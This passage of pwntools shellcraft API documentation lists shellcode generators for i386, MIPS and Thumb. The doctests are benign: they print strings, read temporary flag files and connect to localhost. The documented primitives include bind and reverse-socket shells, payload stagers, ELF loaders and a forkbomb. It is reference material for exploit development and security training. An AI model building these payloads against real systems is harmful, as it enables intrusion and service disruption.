b'Hello, world\n'
```

pwnlib.shellcraft.i386.**strlen**(*string*, *reg='ecx'*)

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, ecx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwnlib.shellcraft.i386.`**`trap`**`()`
A trap instruction.

`pwnlib.shellcraft.i386.`**`xor`**`(`*key*, *address*, *count*`)`
XORs data a constant value.

Parameters

- **`key`** (*`int`*, *`str`*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- **`address`** (*`int`*) – Address of the data (e.g. 0xdead0000, 'esp')
- **`count`** (*`int`*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.i386.linux

Shellcraft module containing Intel i386 shellcodes for Linux.

`pwnlib.shellcraft.i386.linux.`**`acceptloop_ipv4`**`(`*port*`)`

Parameters **`port`** (*`int`*) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.linux.`**`cat`**`(`*filename*, *fd=1*`)`
Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
b'FLAG'
```

`pwnlib.shellcraft.i386.linux.`**`cat2`**(*filename*, *fd=1*, *length=16384*)

Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat2(f)).recvall()
b'FLAG'
```

`pwnlib.shellcraft.i386.linux.`**`connect`**(*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Leaves the connected socket in edx

Parameters

- **host** (*str*) – Remote IP address or hostname (as a dotted quad / string)
- **port** (*int*) – Remote port
- **network** (*str*) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly  = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
b'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('::1', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

`pwnlib.shellcraft.i386.linux.`**`connectstager`**(*host*, *port*, *network='ipv4'*)

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.i386.linux.`**`dir`**(*in_fd='ebp'*, *size=2048*, *allocate_stack=True*)

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.

- **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optioanlly shave a few bytes not allocating the stack space.

The size read is left in eax.

pwnlib.shellcraft.i386.linux.**dupio**(*sock='ebp'*)
Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.i386.linux.**dupsh**(*sock='ebp'*)
Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.i386.linux.**echo**(*string, sock='1'*)
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
b'hello'
```

pwnlib.shellcraft.i386.linux.**egghunter**(*egg, start_address = 0*)
Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

pwnlib.shellcraft.i386.linux.**findpeer**(*port=None*)
Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

pwnlib.shellcraft.i386.linux.**findpeersh**(*port=None*)
Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

pwnlib.shellcraft.i386.linux.**findpeerstager**(*port=None*)
Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.i386.linux.**forkbomb**()
Performs a forkbomb attack.

pwnlib.shellcraft.i386.linux.**forkexit**()
Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.i386.linux.**i386_to_amd64**()
Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.linux.**kill**(*pid, sig*) → str
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

Returns int

`pwnlib.shellcraft.i386.linux.killparent()`
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.i386.linux.loader(address)`
Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.i386.linux.loader_append(data=None)`
Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'i386'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
```

`pwnlib.shellcraft.i386.linux.mprotect_all(clear_ebx=True, fix_null=False)`
Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.

It takes around 0.3 seconds on my box, but your milage may vary.

Parameters

- **clear_ebx** (*bool*) – If this is set to False, then the shellcode will assume that ebx has already been zeroed.
- **fix_null** (*bool*) – If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode

`pwnlib.shellcraft.i386.linux.pidmax()`
Retrieves the highest numbered PID on the system, according to the sysctl kernel.pid_max.

`pwnlib.shellcraft.i386.linux.readfile(path, dst='esi')`
Args: [path, dst (imm/reg) = esi] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.i386.linux.readn(fd, buf, nbytes)`
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.i386.linux.recvsize(sock, reg='ecx')`
Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

`pwnlib.shellcraft.i386.linux.`**`setregid`**(*gid='egid'*)
Args: [gid (imm/reg) = egid] Sets the real and effective group id.

`pwnlib.shellcraft.i386.linux.`**`setreuid`**(*uid='euid'*)
Args: [uid (imm/reg) = euid] Sets the real and effective user id.

`pwnlib.shellcraft.i386.linux.`**`sh`**()
Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.i386.linux.`**`socket`**(*network='ipv4', proto='tcp'*)
Creates a new socket

`pwnlib.shellcraft.i386.linux.`**`socketcall`**(*socketcall, socket, sockaddr, sockaddr_len*)
Invokes a socket call (e.g. socket, send, recv, shutdown)

`pwnlib.shellcraft.i386.linux.`**`stage`**(*fd=0, length=None*)
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.i386.linux.`**`stager`**(*sock, size, handle_error=False, tiny=False*)
Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

Example

```
>>> stage_2 = asm(shellcraft.echo('hello') + "\n" + shellcraft.syscalls.exit(42))
>>> p = run_assembly(shellcraft.stager(0, len(stage_2)))
>>> for c in bytearray(stage_2):
...     p.write(bytearray((c,)))
>>> p.wait_for_close()
>>> p.poll()
42
>>> p.recvall()
b'hello'
```

`pwnlib.shellcraft.i386.linux.`**`syscall`**(*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).
↪rstrip())
    /* call execve(1, 'esp', 2, 0) */
    push SYS_execve /* 0xb */
    pop eax
    push 1
    pop ebx
    mov ecx, esp
    push 2
    pop edx
    xor esi, esi
    int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).
↪rstrip())
    /* call execve(2, 1, 0, 0x14) */
    push SYS_execve /* 0xb */
    pop eax
    push 2
    pop ebx
    push 1
    pop ecx
    push 0x14
    pop esi
    cdq /* edx=0 */
    int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall().rstrip())
    /* call syscall() */
    int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip())
    /* call syscall('eax', 'ebx', 'ecx') */
    /* setregs noop */
    int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip())
    /* call syscall('ebp', ?, ?, 1) */
    mov eax, ebp
    push 1
    pop edx
    int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall(
...               'SYS_mmap2', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip())
    /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |␣
↪MAP_ANONYMOUS', -1, 0) */
    xor eax, eax
    mov al, 0xc0
    xor ebp, ebp
    xor ebx, ebx
    xor ecx, ecx
    mov ch, 0x1000 >> 8
```

(continues on next page)

(continued from previous page)

```
    push -1
    pop edi
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop edx
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop esi
    int 0x80
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f6e
    push 0x77702f65
    push 0x6d6f682f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80
```

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

`pwnlib.shellcraft.i386.freebsd.`**`acceptloop_ipv4`**`(`*port*`)`
Args: port Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.freebsd.`**`i386_to_amd64`**`()`
Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.freebsd.`**`sh`**`()`
Execute /bin/sh

`pwnlib.shellcraft.i386.freebsd.`**`syscall`**`(`*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*`)`

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 1, 'esp', 2, 0).
↪rstrip())
    /* call execve(1, 'esp', 2, 0) */
    push SYS_execve /* 0x3b */
    pop eax
    /* push 0 */
    push 1
    dec byte ptr [esp]
    /* push 2 */
    push 2
```

(continues on next page)

(continued from previous page)

```
    push esp
    /* push 1 */
    push 1
    /* push padding DWORD */
    push eax
    int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 2, 1, 0, 20).
↪rstrip())
    /* call execve(2, 1, 0, 0x14) */
    push SYS_execve /* 0x3b */
    pop eax
    /* push 0x14 */
    push 0x14
    /* push 0 */
    push 1
    dec byte ptr [esp]
    /* push 1 */
    push 1
    /* push 2 */
    push 2
    /* push padding DWORD */
    push eax
    int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall().rstrip())
    /* call syscall() */
    /* setregs noop */
    /* push padding DWORD */
    push eax
    int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('eax', 'ebx', 'ecx').rstrip())
    /* call syscall('eax', 'ebx', 'ecx') */
    /* setregs noop */
    push ecx
    push ebx
    /* push padding DWORD */
    push eax
    int 0x80
```

`pwnlib.shellcraft.mips` — Shellcode for MIPS

`pwnlib.shellcraft.mips`

Shellcraft module containing generic MIPS shellcodes.

`pwnlib.shellcraft.mips.`**`mov`**`(`*dst*, *src*`)`

Move src into dst without newlines and null bytes.

Registers $t8 and $t9 are not guaranteed to be preserved.

If src is a string that is not a register, then it will locally set *context.arch* to *'mips'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters

- **dst** (*str*) – The destination register.

- **src** (*str*) – Either the input register, or an immediate value.

Example

```
>>> print(shellcraft.mips.mov('$t0', 0).rstrip())
    slti $t0, $zero, 0xFFFF /* $t0 = 0 */
>>> print(shellcraft.mips.mov('$t2', 0).rstrip())
    xor $t2, $t2, $t2  /* $t2 = 0 */
>>> print(shellcraft.mips.mov('$t0', 0xcafebabe).rstrip())
    li $t0, 0xcafebabe
>>> print(shellcraft.mips.mov('$t2', 0xcafebabe).rstrip())
    li $t9, 0xcafebabe
    add $t2, $t9, $zero
>>> print(shellcraft.mips.mov('$s0', 0xca0000be).rstrip())
    li $t9, ~0xca0000be
    not $s0, $t9
>>> print(shellcraft.mips.mov('$s0', 0xca0000ff).rstrip())
    li $t9, 0x1010101 ^ 0xca0000ff
    li $s0, 0x1010101
    xor $s0, $t9, $s0
>>> print(shellcraft.mips.mov('$t9', 0xca0000be).rstrip())
    li $t9, ~0xca0000be
    not $t9, $t9
>>> print(shellcraft.mips.mov('$t2', 0xca0000be).rstrip())
    li $t9, ~0xca0000be
    not $t9, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print(shellcraft.mips.mov('$t2', 0xca0000ff).rstrip())
    li $t8, 0x1010101 ^ 0xca0000ff
    li $t9, 0x1010101
    xor $t9, $t8, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print(shellcraft.mips.mov('$a0', '$t2').rstrip())
    add $a0, $t2, $0 /* mov $a0, $t2 */
>>> print(shellcraft.mips.mov('$a0', '$t8').rstrip())
    sw $t8, -4($sp) /* mov $a0, $t8 */
    lw $a0, -4($sp)
```

`pwnlib.shellcraft.mips.`**`nop`**`()`
MIPS nop instruction.

`pwnlib.shellcraft.mips.`**`push`**`(`*value*`)`
Pushes a value onto the stack.

`pwnlib.shellcraft.mips.`**`pushstr`**`(`*string*, *append_null=True*`)`
Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.mips.pushstr('').rstrip())
    /* push b'\x00' */
    sw $zero, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('a').rstrip())
    /* push b'a\x00' */
```

(continues on next page)

(continued from previous page)

```
    li $t9, ~0x61
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aa').rstrip())
    /* push b'aa\x00' */
    ori $t1, $zero, 24929
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaa').rstrip())
    /* push b'aaa\x00' */
    li $t9, ~0x616161
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaaa').rstrip())
    /* push b'aaaa\x00' */
    li $t1, 0x61616161
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaaa').rstrip())
    /* push b'aaaaa\x00' */
    li $t1, 0x61616161
    sw $t1, -8($sp)
    li $t9, ~0x61
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaa', append_null = False).rstrip())
    /* push b'aaaa' */
    li $t1, 0x61616161
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3').rstrip())
    /* push b'\xc3\x00' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3', append_null = False).rstrip())
    /* push b'\xc3' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(enhex(asm(shellcraft.mips.pushstr("/bin/sh"))))
696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27
>>> print(enhex(asm(shellcraft.mips.pushstr(""))))
fcffa0affcffbd27
>>> print(enhex(asm(shellcraft.mips.pushstr("\x00", False))))
fcffa0affcffbd27
```

Parameters

- **string** (*str*) – The string to push.

- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.mips.**pushstr_array**(*reg*, *array*)
Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.mips.**setregs**(*reg_context*, *stack_allowed=True*)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip())
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    li $t9, ~1
    not $t0, $t9
>>> print(shellcraft.setregs({'$a0':'$a1', '$a1':'$a0', '$a2':'$a1'}).rstrip())
    sw $a1, -4($sp) /* mov $a2, $a1 */
    lw $a2, -4($sp)
    xor $a1, $a1, $a0 /* xchg $a1, $a0 */
    xor $a0, $a1, $a0
    xor $a1, $a1, $a0
```

pwnlib.shellcraft.mips.**trap**()
A trap instruction.

pwnlib.shellcraft.mips.linux

Shellcraft module containing MIPS shellcodes for Linux.

pwnlib.shellcraft.mips.linux.**bindsh**(*port*, *network*)
Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.mips.linux.**cat**(*filename*, *fd=1*)
Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> sc = shellcraft.mips.linux.cat(f)
>>> sc += shellcraft.mips.linux.exit(0)
>>> run_assembly(sc).recvall()
b'FLAG'
```

`pwnlib.shellcraft.mips.linux.cat2(filename, fd=1, length=16384)`
Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> sc = shellcraft.mips.linux.cat2(f)
>>> sc += shellcraft.mips.linux.exit(0)
>>> run_assembly(sc).recvall()
b'FLAG'
```

`pwnlib.shellcraft.mips.linux.connect(host, port, network='ipv4')`
Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in $s0.

`pwnlib.shellcraft.mips.linux.dupio(sock='$s0')`
Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.mips.linux.dupsh(sock='$s0')`
Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.mips.linux.echo(string, sock=1)`
Writes a string to a file descriptor

`pwnlib.shellcraft.mips.linux.findpeer(port)`
Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in $s0.

`pwnlib.shellcraft.mips.linux.findpeersh(port)`
Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.mips.linux.forkbomb()`
Performs a forkbomb attack.

`pwnlib.shellcraft.mips.linux.forkexit()`
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.mips.linux.kill(pid, sig) → str`
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

Returns int

`pwnlib.shellcraft.mips.linux.killparent()`
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.mips.linux.listen(port, network)`
Listens on a TCP port, accept a client and leave his socket in $s0. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.mips.linux.readfile(path, dst='$s0')`
Args: [path, dst (imm/reg) = $s0] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.mips.linux.sh()`
Execute /bin/sh

Example

```
>>> b'\0' in pwnlib.asm.asm(shellcraft.mips.linux.sh())
False
>>> p = run_assembly(shellcraft.mips.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.mips.linux.stager(sock, size)`
Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in $s0.

`pwnlib.shellcraft.mips.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)`

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 1, '$sp', 2, 0).
↪rstrip())
    /* call execve(1, '$sp', 2, 0) */
    li $t9, ~1
    not $a0, $t9
    add $a1, $sp, $0 /* mov $a1, $sp */
    li $t9, ~2
    not $a2, $t9
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 2, 1, 0, 20).
↪rstrip())
    /* call execve(2, 1, 0, 0x14) */
    li $t9, ~2
    not $a0, $t9
    li $t9, ~1
    not $a1, $t9
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    li $t9, ~0x14
    not $a3, $t9
    ori $v0, $zero, SYS_execve
    syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall().rstrip())
    /* call syscall() */
    syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('$v0', '$a0', '$a1').rstrip())
    /* call syscall('$v0', '$a0', '$a1') */
    /* setregs noop */
    syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('$a3', None, None, 1).rstrip())
```

(continues on next page)

(continued from previous page)

```
    /* call syscall('$a3', ?, ?, 1) */
    li $t9, ~1
    not $a2, $t9
    sw $a3, -4($sp) /* mov $v0, $a3 */
    lw $v0, -4($sp)
    syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall(
...                'SYS_mmap2', 0, 0x1000,
...                'PROT_READ | PROT_WRITE | PROT_EXEC',
...                'MAP_PRIVATE | MAP_ANONYMOUS',
...                -1, 0).rstrip())
    /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |␣
↪MAP_ANONYMOUS', -1, 0) */
    slti $a0, $zero, 0xFFFF /* $a0 = 0 */
    li $t9, ~0x1000
    not $a1, $t9
    li $t9, ~(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    not $a2, $t9
    ori $a3, $zero, (MAP_PRIVATE | MAP_ANONYMOUS)
    ori $v0, $zero, SYS_mmap2
    syscall 0x40404
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    li $t1, 0x6d6f682f
    sw $t1, -16($sp)
    li $t1, 0x77702f65
    sw $t1, -12($sp)
    li $t1, 0x6c662f6e
    sw $t1, -8($sp)
    ori $t1, $zero, 26465
    sw $t1, -4($sp)
    addiu $sp, $sp, -16
    add $a0, $sp, $0 /* mov $a0, $sp */
    slti $a1, $zero, 0xFFFF /* $a1 = 0 */
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    /* call open() */
    ori $v0, $zero, SYS_open
    syscall 0x40404
```

`pwnlib.shellcraft.thumb` — Shellcode for Thumb Mode

`pwnlib.shellcraft.thumb`

Shellcraft module containing generic thumb little endian shellcodes.

`pwnlib.shellcraft.thumb.`**`crash`**`()`
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True) < 0
True
```

`pwnlib.shellcraft.thumb.infloop()`
An infinite loop.

`pwnlib.shellcraft.thumb.itoa(v, buffer='sp', allocate_stack=True)`
Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.thumb.memcpy(dest, src, n)`
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.thumb.mov(dst, src)`

Returns THUMB code for moving the specified source value into the specified destination register.

If src is a string that is not a register, then it will locally set *context.arch* to *'thumb'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print(shellcraft.thumb.mov('r1','r2').rstrip())
    mov r1, r2
>>> print(shellcraft.thumb.mov('r1', 0).rstrip())
    eor r1, r1
>>> print(shellcraft.thumb.mov('r1', 10).rstrip())
    mov r1, #0xa + 1
    sub r1, r1, 1
>>> print(shellcraft.thumb.mov('r1', 17).rstrip())
    mov r1, #0x11
>>> print(shellcraft.thumb.mov('r1', 'r1').rstrip())
    /* moving r1 into r1, but this is a no-op */
>>> print(shellcraft.thumb.mov('r1', 512).rstrip())
    mov r1, #0x200
>>> print(shellcraft.thumb.mov('r1', 0x10000001).rstrip())
    mov r1, #(0x10000001 >> 28)
    lsl r1, #28
    add r1, #(0x10000001 & 0xff)
```

(continues on next page)

(continued from previous page)

```
>>> print(shellcraft.thumb.mov('r1', 0xdead0000).rstrip())
    mov r1, #(0xdead0000 >> 25)
    lsl r1, #(25 - 16)
    add r1, #((0xdead0000 >> 16) & 0xff)
    lsl r1, #16
>>> print(shellcraft.thumb.mov('r1', 0xdead00ff).rstrip())
    ldr r1, value_...
    b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
    mov r1, #SYS_execve /* 0xb */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
    mov r1, #SYS_execve /* 0x3b */
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↪rstrip())
    mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

`pwnlib.shellcraft.thumb.nop()`
A nop instruction.

`pwnlib.shellcraft.thumb.popad()`
Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwnlib.shellcraft.thumb.push(value)`
Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'thumb'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.thumb.push('r0').rstrip())
    push {r0}
>>> print(pwnlib.shellcraft.thumb.push(0).rstrip())
    /* push 0 */
    eor r7, r7
    push {r7}
>>> print(pwnlib.shellcraft.thumb.push(1).rstrip())
    /* push 1 */
    mov r7, #1
    push {r7}
>>> print(pwnlib.shellcraft.thumb.push(256).rstrip())
    /* push 0x100 */
    mov r7, #0x100
    push {r7}
>>> print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
    /* push 'SYS_execve' */
    mov r7, #0xb
    push {r7}
```

(continues on next page)

(continued from previous page)

```
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
    /* push 'SYS_execve' */
    mov r7, #0x3b
    push {r7}
```

`pwnlib.shellcraft.thumb.pushad()`
Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register='r7')`
